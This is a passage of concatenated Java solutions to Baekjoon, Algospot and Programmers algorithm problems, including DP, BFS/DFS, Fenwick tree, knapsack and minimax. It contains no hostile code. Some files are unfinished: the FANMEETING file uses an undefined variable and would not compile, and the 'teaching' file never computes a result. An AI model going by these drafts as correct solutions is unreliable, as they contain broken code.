public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
char[] c_arr = br.readLine().toCharArray();
int sum = 0;
Arrays.sort(c_arr);
for(char c:c_arr){
sum += c - '0';
}
if(sum%3 != 0 || c_arr[0] != '0'){
System.out.println(-1);
}else{
StringBuilder sb = new StringBuilder(new String(c_arr));
System.out.println(sb.reverse());
}
}
}
<file_sep>/baekjoon/11057/Main.java
import java.io.*;
import java.util.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int N = Integer.parseInt(br.readLine());
int[][] dp = new int[N+1][10];
for(int i = 0;i<10;i++){
dp[0][i] = 1;
}
for(int idx = 1;idx<N;idx++){
for(int nmb = 0;nmb < 10;nmb++){
for(int j = 0;j<=nmb;j++){
dp[idx][nmb] += dp[idx-1][j]%10007;
}
}
}
int sum = 0;
for(int i = 0;i<10;i++){
sum += dp[N-1][i];
}
System.out.println(sum%10007);
}
}
<file_sep>/baekjoon/1912/Main.java
import java.io.*;
import java.util.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int n = Integer.parseInt(br.readLine());
String[] s = br.readLine().split(" ");
int[] sq = Arrays.stream(s)
.mapToInt(i->Integer.parseInt(i))
.toArray();
int[] dp = new int[sq.length];
int max = sq[0];
dp[0] = sq[0];
for(int i = 1;i<sq.length;i++){
if(dp[i-1]>0){
dp[i] = sq[i] + dp[i-1];
}else{
dp[i] = sq[i];
}
max = Math.max(max,dp[i]);
}
System.out.println(max);
}
}
<file_sep>/baekjoon/10820/Main.java
import java.io.*;
import java.util.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringBuilder sb = new StringBuilder();
String s;
while((s = br.readLine()) != null){
int[] ret = new int[4];
for(int i = 0;i<s.length();i++){
int c = s.charAt(i);
if(c>='a' && c<='z'){
ret[0]++;
}
if(c>='A' && c<='Z'){
ret[1]++;
}
if(c>='0' && c<='9'){
ret[2]++;
}
if(c==' '){
ret[3]++;
}
}
for(int i:ret){
sb.append(i).append(" ");
}
sb.append("\n");
}
System.out.println(sb);
}
}
<file_sep>/baekjoon/2667/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int[][] map;
static int N;
static boolean[][] searched;
static int probe(int x,int y){
if(x<0 || y<0 || x>=N || y>=N){
return 0;
}
if(map[x][y] == 0){
return 0;
}
if(searched[x][y]){
return 0;
}
searched[x][y] = true;
int ret = 1;
ret += probe(x+1,y);
ret += probe(x-1,y);
ret += probe(x,y+1);
ret += probe(x,y-1);
return ret;
}
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
N = Integer.parseInt(br.readLine());
map = new int[N][N];
searched = new boolean[N][N];
for(int i = 0;i<N;i++){
map[i] = Arrays.stream(br.readLine().split(""))
.mapToInt(x->Integer.parseInt(x))
.toArray();
}
int count = 0;
List<Integer> ret = new ArrayList<>();
for(int x = 0;x<N;x++){
for(int y = 0;y<N;y++){
int h_n = probe(x,y);
if(h_n > 0){
ret.add(h_n);
}
}
}
Collections.sort(ret);
System.out.println(ret.size());
for(int i:ret){
System.out.println(i);
}
}
}
<file_sep>/baekjoon/1517/Main.java
import java.util.*;
import java.util.stream.*;
import java.io.*;
class Fenwick{
Map<Integer,Integer> _data;
int N;
public Fenwick(int n){
_data = new HashMap<>();
N = n;
}
int getData(int idx){
if(_data.containsKey(idx)){
return _data.get(idx);
}else{
_data.put(idx,0);
return 0;
}
}
public void update(int idx,int diff){
while(idx<=N){
int tmp = getData(idx);
_data.put(idx,tmp + diff);
idx += (idx&-idx);
}
}
public int sum(int idx){
int ret = 0;
while(idx>0){
ret += getData(idx);
idx -= idx&-idx;
}
return ret;
}
}
public class Main{
static Fenwick fw;
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int N = Integer.parseInt(br.readLine());
StringTokenizer st = new StringTokenizer(br.readLine());
List<int[]> ls = new ArrayList<>();
for(int i = 0;i<N;i++){
int tmp = Integer.parseInt(st.nextToken());
ls.add(new int[]{i+1,tmp});
}
ls = ls.stream()
.sorted((a,b)->{
if(b[1] == a[1]){
return b[0] - a[0];
}
return b[1] - a[1];
})
.collect(Collectors.toList());
fw = new Fenwick(N+1);
long ret = 0;
for(int[] i:ls){
ret += fw.sum(i[0]-1);
fw.update(i[0],1);
}
System.out.println(ret);
}
}
<file_sep>/baekjoon/2146/Main.java
import java.io.*;
import java.util.*;
public class Main{
static int N;
static int[][] map,c_map,l_map;
static int[] dx = {1,0,-1,0};
static int[] dy = {0,1,0,-1};
static boolean paint(int x,int y,int c){
if(c_map[x][y] != 0||map[x][y]==0){
return false;
}
Stack<int[]> stk = new Stack<>();
c_map[x][y] = c;
stk.push(new int[]{x,y});
while(!stk.isEmpty()){
int[] node = stk.pop();
for(int i = 0;i<4;i++){
int tx = node[0]+dx[i];
int ty = node[1]+dy[i];
if(tx<0||ty<0||tx>=N||ty>=N){
continue;
}
if(c_map[tx][ty] != 0||map[tx][ty]==0){
continue;
}
c_map[tx][ty] = c;
stk.push(new int[]{tx,ty});
}
}
return true;
}
static int probe(){
int ret = Integer.MAX_VALUE;
Queue<int[]> q = new ArrayDeque<>();
for(int w = 0;w<N;w++){
for(int h=0;h<N;h++){
if(c_map[w][h] != 0){
q.add(new int[]{w,h,c_map[w][h]});
}
}
}
int x,y,c,tx,ty;
while(!q.isEmpty()){
int[] node = q.remove();
for(int i = 0;i<4;i++){
x = node[0];
y = node[1];
c = node[2];
tx = x+dx[i];
ty = y+dy[i];
if(tx<0||ty<0||tx>=N||ty>=N||c_map[tx][ty] == c){
continue;
}
if(c_map[tx][ty] == 0){
l_map[tx][ty] = l_map[x][y]+1;
c_map[tx][ty] = c;
q.add(new int[]{tx,ty,c});
}else{
ret = Math.min(ret,l_map[x][y]+l_map[tx][ty]);
}
}
}
return ret;
}
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
N = Integer.parseInt(br.readLine());
map = new int[N][N];
c_map = new int[N][N];
l_map = new int[N][N];
for(int i = 0;i<N;i++){
map[i] = Arrays.stream(br.readLine().split(" "))
.mapToInt(k->Integer.parseInt(k))
.toArray();
}
int count = 1;
for(int x = 0;x<N;x++){
for(int y = 0;y<N;y++){
if(paint(x,y,count)){
count++;
}
}
}
System.out.println(probe());
}
}
<file_sep>/baekjoon/11728/Main.java
import java.util.*;
import java.io.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringTokenizer st = new StringTokenizer(br.readLine());
int N = Integer.parseInt(st.nextToken());
int M = Integer.parseInt(st.nextToken());
Queue<Integer> A = new ArrayDeque<>();
Queue<Integer> B = new ArrayDeque<>();
st = new StringTokenizer(br.readLine());
for(int i = 0;i<N;i++){
A.add(Integer.parseInt(st.nextToken()));
}
st = new StringTokenizer(br.readLine());
for(int i = 0;i<M;i++){
B.add(Integer.parseInt(st.nextToken()));
}
Queue<Integer> C = new ArrayDeque<>();
while((!A.isEmpty())&&(!B.isEmpty())){
if(A.element() < B.element()){
C.add(A.remove());
}else{
C.add(B.remove());
}
}
while(!A.isEmpty()){
C.add(A.remove());
}
while(!B.isEmpty()){
C.add(B.remove());
}
StringBuilder sb = new StringBuilder();
while(!C.isEmpty()){
sb.append(C.remove()).append(" ");
}
System.out.println(sb);
}
}
<file_sep>/baekjoon/11724/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int N;
static int M;
static int[][] conn;
static int[] visited;
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String[] s = br.readLine().split(" ");
N = Integer.parseInt(s[0]);
M = Integer.parseInt(s[1]);
conn = new int[N+1][N+1];
visited = new int[N+1];
for(int i = 0;i<M;i++){
String[] l = br.readLine().split(" ");
int x = Integer.parseInt(l[0]);
int y = Integer.parseInt(l[1]);
conn[x][y] = 1;
conn[y][x] = 1;
}
Stack<Integer> stk = new Stack<>();
int count = 0;
for(int i = 1;i<=N;i++){
if(visited[i] != 0)continue;
count++;
stk.push(i);
while(!stk.isEmpty()){
int x = stk.pop();
visited[x] = count;
for(int y = 1;y<=N;y++){
if(visited[y] == 0 && conn[x][y] == 1){
stk.push(y);
}
}
}
}
System.out.println(count);
}
}
<file_sep>/programmers/teaching/Main.java
import java.io.*;
import java.util.*;
import java.util.stream.*;
public class Main{
static long max_n = 0;
static int usable = 0;
static void dfs(int char_n,int start,int count){
if(char_n<0){
return;
}
for(int i = start;i<26;i++){
}
}
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String[] fl = br.readLine().split(" ");
int K = Integer.parseInt(fl[1])-5;
int ret = 0;
List<String> wl = br.lines()
.map(word->word.replaceAll("[antic]",""))
.map(word->word.replaceAll("(.)(?=.*\\1)",""))
.collect(Collectors.toList());
br.close();
var chars = wl.stream()
.reduce((a,b)->a+b)
.get()
.replaceAll("(.)(?=.*\\1)","")
.toCharArray();
for(var c:chars){
System.out.println(c-'a');
usable |= 1<<(c-'a'-1);
}
System.out.println(Integer.toBinaryString(usable));
BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(System.out));
bw.write(Long.toString(max_n));
bw.close();
}
}
<file_sep>/baekjoon/11054/Main.java
import java.io.*;
import java.util.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int n = Integer.parseInt(br.readLine());
int[][] dp = new int[n][2];
String[] s = br.readLine().split(" ");
int[] sq = Arrays.stream(s)
.mapToInt(i -> Integer.parseInt(i))
.toArray();
dp[0][0] = 1;
for(int i = 1;i<n;i++){
int max = 0;
for(int j = 0;j<i;j++){
if(sq[i]>sq[j]){
max = Math.max(max,dp[j][0]);
}
}
dp[i][0] = max+1;
}
dp[n-1][1] = 1;
for(int i = n-2;i>=0;i--){
int max = 0;
for(int j = n-1;j>i;j--){
if(sq[i]>sq[j]){
max = Math.max(max,dp[j][1]);
}
}
dp[i][1] = max+1;
}
int max = 0;
for(int i = 0;i<n;i++){
max = Math.max(max,dp[i][0]+dp[i][1]-1);
}
System.out.println(max);
}
}
<file_sep>/algospot/TICTACTOE/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int[] dp;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int TC = Integer.parseInt(br.readLine());
dp = new int[19683];
for(int tc = 0;tc<TC;tc++){
int[][] board = new int[3][3];
Arrays.fill(dp,-2);
int xcount = 0;
int ocount = 0;
for(int i = 0;i<3;i++){
String line = br.readLine();
for(int j = 0;j<3;j++){
char c = line.charAt(j);
if(c == 'x'){
board[i][j] = -1;
xcount++;
}else if(c == 'o'){
board[i][j] = 1;
ocount++;
}
}
}
int player = 0;
if(xcount == ocount){
player = -1;
}else{
player = 1;
}
int winner = play(player,board) * player;
if(winner == 1){
System.out.println("o");
}else if(winner == -1){
System.out.println("x");
}else{
System.out.println("TIE");
}
}
}
static int serialize(int[][] board){
int ret = 0;
for(int i = 0;i<3;i++){
for(int j = 0;j<3;j++){
ret *= 3;
ret += board[i][j]+1;
}
}
return ret;
}
static void print(int[][] board){
for(int i = 0;i<3;i++){
for(int j = 0;j<3;j++){
if(board[i][j] == 1){
System.out.print('o');
}else if(board[i][j] == -1){
System.out.print('x');
}else{
System.out.print('.');
}
}
System.out.println();
}
}
static int play(int player,int[][] board){
if(isFinished(-player,board)){
return -1;
}
int board_idx = serialize(board);
if(dp[board_idx] != -2){
return dp[board_idx];
}
int min_value = 2;
for(int i = 0;i<3;i++){
for(int j = 0;j<3;j++){
if(board[i][j] != 0){
continue;
}
board[i][j] = player;
min_value = Math.min(min_value,play(-player,board));
board[i][j] = 0;
}
}
if(min_value == 2 || min_value == 0){
dp[board_idx] = 0;
return 0;
}
dp[board_idx] = -min_value;
return -min_value;
}
static boolean isFinished(int player,int[][] board){
//return 1 when player wins
//return -1 when player loses
//return 0 when draw
//check rows & columns
int winner = 0;
for(int i = 0;i<3;i++){
int r_sum = 0;
int c_sum = 0;
for(int j = 0;j<3;j++){
r_sum += board[i][j];
c_sum += board[j][i];
}
if(r_sum == 3 || c_sum == 3){
winner = 1;
break;
}else if(r_sum == -3 || c_sum == -3){
winner = -1;
break;
}
}
//check diagonal
int diag_a = board[0][0] + board[1][1] + board[2][2];
int diag_b = board[0][2] + board[1][1] + board[2][0];
if(diag_a == 3 || diag_b == 3){
winner = 1;
}
if(diag_a == -3 || diag_b == -3){
winner = -1;
}
if(winner == player){
return true;
}
return false;
}
}
<file_sep>/baekjoon/1167/Main.java
import java.util.*;
import java.io.*;
class Node{
public Map<Integer,Integer> connected;
public Node(){
connected = new HashMap<>();
}
}
public class Main{
static Map<Integer,Node> tree;
static int N;
static int l_tmp;
static int longest;
static boolean[] visited;
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
N = Integer.parseInt(br.readLine());
tree = new HashMap<>();
visited = new boolean[N+1];
StringTokenizer st;
for(int i = 0;i<N;i++){
st = new StringTokenizer(br.readLine());
Node node = new Node();
int n = Integer.parseInt(st.nextToken());
String s;
while(!(s = st.nextToken()).equals("-1")){
int len = Integer.parseInt(st.nextToken());
node.connected.put(Integer.parseInt(s),len);
}
tree.put(n,node);
}
findLongest(1,0);
Arrays.fill(visited,false);
findLongest(l_tmp,0);
System.out.println(longest);
}
static void findLongest(int i,int len){
if(longest < len){
longest = len;
l_tmp = i;
}
Node node = tree.get(i);
if(node.connected.keySet().isEmpty()){
return;
}
visited[i] = true;
int longest = 0;
for(Map.Entry<Integer,Integer> c:node.connected.entrySet()){
if(visited[c.getKey()]){
continue;
}
findLongest(c.getKey(),len + c.getValue());
}
return;
}
}
<file_sep>/baekjoon/10844/Main.java
import java.io.*;
import java.util.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int N = Integer.parseInt(br.readLine());
long[][] s = new long[10][101];
for(int j = 0;j<10;j++){
s[j][0] = 1;
}
for(int i = 1;i<N;i++){
s[0][i] = s[1][i-1];
s[9][i] = s[8][i-1];
for(int j = 1;j<9;j++){
s[j][i] = (s[j-1][i-1] + s[j+1][i-1])%1000000000;
}
}
long ret = 0;
for(int j = 1;j<10;j++){
ret += s[j][N-1];
}
System.out.println(ret%1000000000);
}
}
<file_sep>/baekjoon/IOseries/10951/Main.java
import java.io.*;
import java.util.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String s;
while((s = br.readLine()) != null){
String[] ss = s.split(" ");
int a = Integer.parseInt(ss[0]);
int b = Integer.parseInt(ss[1]);
System.out.println(a+b);
}
}
}
<file_sep>/baekjoon/2110/Main.java
import java.util.*;
import java.io.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringTokenizer st = new StringTokenizer(br.readLine());
int N = Integer.parseInt(st.nextToken());
int C = Integer.parseInt(st.nextToken());
int[] x = new int[N];
for(int i = 0;i<N;i++){
x[i] = Integer.parseInt(br.readLine());
}
Arrays.sort(x);
int l = 1;
int r = x[N-1] - x[0];
int mid = 0;
while(l<=r){
mid = (l+r)/2;
int count = 1;
int tmp = x[0];
for(int i = 1;i<N;i++){
if(x[i] - tmp >= mid){
count++;
tmp = x[i];
}
}
if(count >= C){
l = mid+1;
}else{
r = mid-1;
}
}
System.out.println(r);
}
}
<file_sep>/baekjoon/1934/Main.java
import java.io.*;
import java.util.*;
public class Main{
static int gcd(int a,int b){
if(b>a){
return gcd(b,a);
}
int r = a%b;
if(r == 0){
return b;
}
return gcd(b,r);
}
static int lcm(int a,int b){
return a*b/gcd(a,b);
}
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int T = Integer.parseInt(br.readLine());
for(int i = 0;i<T;i++){
String[] s = br.readLine().split(" ");
int a = Integer.parseInt(s[0]);
int b = Integer.parseInt(s[1]);
System.out.println(lcm(a,b));
}
}
}
<file_sep>/algospot/PACKING/Main.java
import java.util.*;
import java.io.*;
class Stuff{
public int volume,need;
public Stuff(int volume,int need){
this.volume = volume;
this.need = need;
}
}
public class Main{
static int N,W;
static Stuff[] stuff;
static int[][] dp;
static Map<Integer,String> stuff_name;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int TC = Integer.parseInt(br.readLine());
StringBuilder sb = new StringBuilder();
for(int tc = 0;tc<TC;tc++){
stuff_name = new HashMap<>();
StringTokenizer st = new StringTokenizer(br.readLine());
N = Integer.parseInt(st.nextToken());
W = Integer.parseInt(st.nextToken());
dp = new int[N][W+1];
stuff = new Stuff[N];
for(int i = 0;i<N;i++){
Arrays.fill(dp[i],-1);
st = new StringTokenizer(br.readLine());
String name = st.nextToken();
int v = Integer.parseInt(st.nextToken());
int n = Integer.parseInt(st.nextToken());
stuff[i] = new Stuff(v,n);
stuff_name.put(i,name);
}
int max_need = get_max_need(0,0);
List<Integer> rec = new ArrayList<>();
reconstruct(0,0,rec);
int max_stuff_n = rec.size();
sb.append(max_need)
.append(" ")
.append(max_stuff_n)
.append("\n");
for(int i:rec){
sb.append(stuff_name.get(i))
.append("\n");
}
}
sb.deleteCharAt(sb.length()-1);
System.out.print(sb);
}
static int get_max_need(int idx,int vol){
if(idx>=N || vol>W){
return 0;
}
if(dp[idx][vol] != -1){
return dp[idx][vol];
}
int packed = 0;
if(vol+stuff[idx].volume <= W){
packed = stuff[idx].need + get_max_need(idx+1,vol+stuff[idx].volume);
}
int passed = get_max_need(idx+1,vol);
int ret = Math.max(packed,passed);
dp[idx][vol] = ret;
return ret;
}
static void reconstruct(int idx,int vol,List<Integer> ret){
if(idx>=N){
return;
}
int now_need = get_max_need(idx,vol);
int next_need = get_max_need(idx+1,vol);
if(now_need != next_need){
ret.add(idx);
vol += stuff[idx].volume;
}
reconstruct(idx+1,vol,ret);
}
}
<file_sep>/baekjoon/1991/Main.java
import java.util.*;
import java.io.*;
class Node{
public String l,r;
}
public class Main{
static Map<String,Node> tree;
static StringBuilder sb;
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int N = Integer.parseInt(br.readLine());
tree = new HashMap<>();
sb= new StringBuilder();
for(int i = 0;i<N;i++){
String[] s = br.readLine().split(" ");
Node node = new Node();
node.l = s[1];
node.r = s[2];
tree.put(s[0],node);
}
pre_trav("A");
sb.append("\n");
in_trav("A");
sb.append("\n");
post_trav("A");
sb.append("\n");
System.out.println(sb);
}
static void pre_trav(String n){
Node node = tree.get(n);
if(node == null){
return;
}
sb.append(n);
pre_trav(node.l);
pre_trav(node.r);
}
static void in_trav(String n){
Node node = tree.get(n);
if(node == null){
return;
}
in_trav(node.l);
sb.append(n);
in_trav(node.r);
}
static void post_trav(String n){
Node node = tree.get(n);
if(node == null){
return;
}
post_trav(node.l);
post_trav(node.r);
sb.append(n);
}
}
<file_sep>/baekjoon/2089/Main.java
import java.util.*;
import java.io.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int N = Integer.parseInt(br.readLine());
StringBuilder sb = new StringBuilder();
if(N==0){
System.out.println(0);
return;
}
while(N!=0){
int r = N%(-2);
N = r<0?N/(-2)+1:N/(-2);
r = r<0?r+2:r;
sb.append(r);
}
System.out.println(sb.reverse());
}
}
<file_sep>/algospot/FANMEETING/Main.java
import java.util.*;
import java.io.*;
public class Main{
static boolean[] smaller;
static boolean[] bigger;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int TC = Integer.parseInt(br.readLine());
for(int tc = 0;tc<TC;tc++){
String a = br.readLine();
String b = br.readLine();
String smaller_s;
String bigger_s;
if(a.length() < b.length()){
smaller_s = a;
bigger_s = b;
}else{
smaller_s = b;
bigger_s = a;
}
smaller = new boolean[smaller_s.length()];
for(int i = 0;i<smaller_s.length();i++){
if(c == 'F'){
smaller[i] = true;
}else{
smaller[i] = false;
}
}
bigger = new boolean[bigger_s.length()];
for(int i = 0;i<bigger_s.length();i++){
if(c == 'F'){
bigger[i] = true;
}else{
bigger[i] = false;
}
}
}
}
}
<file_sep>/baekjoon/11653/Main.java
import java.io.*;
import java.util.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int N = Integer.parseInt(br.readLine());
int[] prime = new int[N+1];
Arrays.fill(prime,1);
prime[0] = 0;
prime[1] = 0;
for(int i = 2;i*i<=N;i++){
if(prime[i]!=0){
for(int j = i*i;j<=N;j+=i){
prime[j] = 0;
}
}
}
StringBuilder sb = new StringBuilder();
while(N>1){
for(int i = 2;i<=N;i++){
if(prime[i] == 1 && N%i == 0){
sb.append(i).append("\n");
N /= i;
break;
}
}
}
System.out.println(sb);
}
}
<file_sep>/baekjoon/1699/Main.java
import java.util.*;
import java.io.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int N = Integer.parseInt(br.readLine());
int[] dp = new int[N+1];
for(int i = 1;i<=N;i++){
dp[i] = i;
for(int j = 1;j*j<=i;j++){
if(dp[i]>dp[i-j*j]+1){
dp[i] = dp[i-j*j]+1;
}
}
}
System.out.println(dp[N]);
}
}
<file_sep>/baekjoon/1476/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int E;
static int S;
static int M;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
StringTokenizer st = new StringTokenizer(br.readLine());
E = Integer.parseInt(st.nextToken());
S = Integer.parseInt(st.nextToken());
M = Integer.parseInt(st.nextToken());
int ret = 1;
while(!(E == 1 && S == 1 && M == 1)){
E--;
S--;
M--;
if(E==0)E = 15;
if(S==0)S = 28;
if(M==0)M = 19;
ret++;
}
System.out.println(ret);
}
}
<file_sep>/baekjoon/11652/Main.java
import java.util.*;
import java.io.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int N = Integer.parseInt(br.readLine());
Map<Long,Integer> cnt = new HashMap<>();
int max= 1;
long max_num = Long.parseLong(br.readLine());
cnt.put(max_num,1);
for(int i = 1;i<N;i++){
long num = Long.parseLong(br.readLine());
int tmp;
if(!cnt.containsKey(num)){
tmp = 1;
}else{
tmp = cnt.get(num)+1;
}
cnt.put(num,tmp);
if(tmp>=max){
if(!(max_num < num && tmp == max)){
max_num = num;
}
max = tmp;
}
}
System.out.println(max_num);
}
}
<file_sep>/algospot/TRIANGLEPATH/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int[][] tri;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int TC = Integer.parseInt(br.readLine());
for(int tc = 0;tc<TC;tc++){
int N = Integer.parseInt(br.readLine());
tri = new int[N][N];
for(int h = 0;h<N;h++){
StringTokenizer st = new StringTokenizer(br.readLine());
for(int w = 0;w<h+1;w++){
tri[h][w] = Integer.parseInt(st.nextToken());
}
}
for(int h = 1;h<N;h++){
tri[h][0] += tri[h-1][0];
for(int w = 1;w<h;w++){
int lu = tri[h][w] + tri[h-1][w-1];
int u = tri[h][w] + tri[h-1][w];
tri[h][w] = Math.max(lu,u);
}
tri[h][h] += tri[h-1][h-1];
}
int ret = 0;
for(int i = 0;i<N;i++){
ret = Math.max(ret,tri[N-1][i]);
}
System.out.println(ret);
}
}
}
<file_sep>/algospot/KLIS/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int N,K;
static int[] seq;
static int[] dp;
static long[] count_dp;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int TC = Integer.parseInt(br.readLine());
StringBuilder sb = new StringBuilder();
for(int tc = 0;tc<TC;tc++){
StringTokenizer st = new StringTokenizer(br.readLine());
N = Integer.parseInt(st.nextToken());
K = Integer.parseInt(st.nextToken());
st = new StringTokenizer(br.readLine());
seq = new int[N+1];
dp = new int[N+1];
count_dp = new long[N+1];
Arrays.fill(dp,-1);
Arrays.fill(count_dp,-1);
for(int i = 1;i<=N;i++){
seq[i] = Integer.parseInt(st.nextToken());
}
sb.append(lis(0)-1)
.append("\n");
List<Integer> ret = new ArrayList<>();
recon(0,K-1,ret);
for(int i:ret){
sb.append(i).append(" ");
}
sb.deleteCharAt(sb.length()-1);
sb.append("\n");
}
sb.deleteCharAt(sb.length()-1);
System.out.print(sb);
}
static int lis(int idx){
if(dp[idx] != -1){
return dp[idx];
}
int ret = 1;
for(int i = idx+1;i<=N;i++){
if(seq[idx] < seq[i]){
ret = Math.max(ret,1+lis(i));
}
}
dp[idx] = ret;
return ret;
}
static long count(int idx){
if(lis(idx) == 1){
return 1;
}
if(count_dp[idx] != -1){
return count_dp[idx];
}
long ret = 0;
for(int i = idx+1;i<=N;i++){
if(seq[idx] < seq[i] && lis(idx) == lis(i)+1){
ret = Math.min(Integer.MAX_VALUE,ret + count(i));
}
}
count_dp[idx] = ret;
return ret;
}
static void recon(int idx,int skip,List<Integer> ret){
if(idx != 0){
ret.add(seq[idx]);
}
for(int i = N;i>=idx+1;i--){
if(seq[idx]<seq[i] && lis(idx) == lis(i)+1){
if(count(i) <= skip){
skip -= count(i);
}else{
recon(i,skip,ret);
break;
}
}
}
}
}
<file_sep>/baekjoon/IOseries/10952/Main.java
import java.io.*;
import java.util.*;
public class Main{
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int sum = 21;
while(sum != 0){
String[] s = br.readLine().split(" ");
int a = Integer.parseInt(s[0]);
int b = Integer.parseInt(s[1]);
sum = a+b;
if(sum != 0){
System.out.println(sum);
}
}
}
}
<file_sep>/baekjoon/1260/Main.java
import java.util.*;
import java.io.*;
class Node{
public List<Integer> conn;
public Node(){
conn = new ArrayList<>();
}
}
public class Main{
static Node[] graph;
static int N;
static int M;
static int V;
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
String[] s = br.readLine().split(" ");
N = Integer.parseInt(s[0]);
M = Integer.parseInt(s[1]);
V = Integer.parseInt(s[2]);
graph = new Node[N+1];
for(int i = 1;i<=N;i++){
graph[i] = new Node();
}
for(int i = 0;i<M;i++){
String[] ln = br.readLine().split(" ");
int a = Integer.parseInt(ln[0]);
int b = Integer.parseInt(ln[1]);
graph[a].conn.add(b);
graph[b].conn.add(a);
}
for(int i = 1;i<=N;i++){
Collections.sort(graph[i].conn,Collections.reverseOrder());
}
List<Integer> d_ret = dfs();
for(int i = 1;i<=N;i++){
Collections.sort(graph[i].conn);
}
List<Integer> b_ret = bfs();
StringBuilder sb = new StringBuilder();
for(int i:d_ret){
sb.append(i).append(" ");
}
sb.deleteCharAt(sb.length()-1);
sb.append("\n");
for(int i:b_ret){
sb.append(i).append(" ");
}
sb.deleteCharAt(sb.length()-1);
System.out.println(sb);
}
static List<Integer> dfs(){
Stack<Integer> stk = new Stack<>();
List<Integer> ret = new ArrayList<>();
boolean[] visited = new boolean[N+1];
stk.push(V);
while(!stk.isEmpty()){
int p = stk.pop();
if(visited[p])continue;
ret.add(p);
visited[p] = true;
for(int i:graph[p].conn){
if(!visited[i]){
stk.push(i);
}
}
}
return ret;
}
static List<Integer> bfs(){
Queue<Integer> q = new ArrayDeque<>();
List<Integer> ret = new ArrayList<>();
boolean[] visited = new boolean[N+1];
q.offer(V);
while(!q.isEmpty()){
int p = q.poll();
if(visited[p])continue;
ret.add(p);
visited[p] = true;
for(int i:graph[p].conn){
if(!visited[i]){
q.offer(i);
}
}
}
return ret;
}
}
<file_sep>/algospot/ASYMTILING/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int n;
static int[] dp;
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int TC = Integer.parseInt(br.readLine());
for(int tc = 0;tc<TC;tc++){
n = Integer.parseInt(br.readLine());
dp = new int[n+1];
dp[0] = 1;
dp[1] = 1;
for(int i = 2;i<=n;i++){
dp[i] = (dp[i-1]+dp[i-2])%1000000007;
}
int ret = 0;
if(n%2 == 0){
ret = (dp[n] - dp[n/2])%1000000007;
ret = (ret - dp[n/2-1])%1000000007;
}else{
ret = (dp[n] - dp[n/2])%1000000007;
}
if(ret<0){
ret += 1000000007;
}
System.out.println(ret);
}
}
}
<file_sep>/baekjoon/9095/Main.java
import java.util.*;
import java.io.*;
public class Main{
static int[] dp;
public static void main(String[] args)throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int T = Integer.parseInt(br.readLine());
for(int t = 0;t<T;t++){
int n = Integer.parseInt(br.readLine());
dp = new int[11];
dp[1] = 1;
dp[2] = 2;
dp[3] = 4;
for(int i = 4;i<=n;i++){
dp[i] = dp[i-1]+dp[i-2]+dp[i-3];
}
System.out.println(dp[n]);
}
}
}
<file_sep>/baekjoon/1525/Main.java
import java.util.*;
import java.io.*;
public class Main{
static Set<String> visited;
static int[] dx = {1,0,-1,0};
static int[] dy = {0,1,0,-1};
public static void main(String[] args) throws Exception{
BufferedReader br = new BufferedReader(new InputStreamReader(System.in));
int sx = 0;
int sy = 0;
StringBuilder sb = new StringBuilder();
for(int y = 0;y<3;y++){
StringTokenizer st = new StringTokenizer(br.readLine());
for(int x = 0;x<3;x++){
int num = Integer.parseInt(st.nextToken());
if(num == 0){
sx = x;
sy = y;
}
sb.append(num);
}
}
String start = sb.toString();
String target = "123456780";
visited = new HashSet<>();
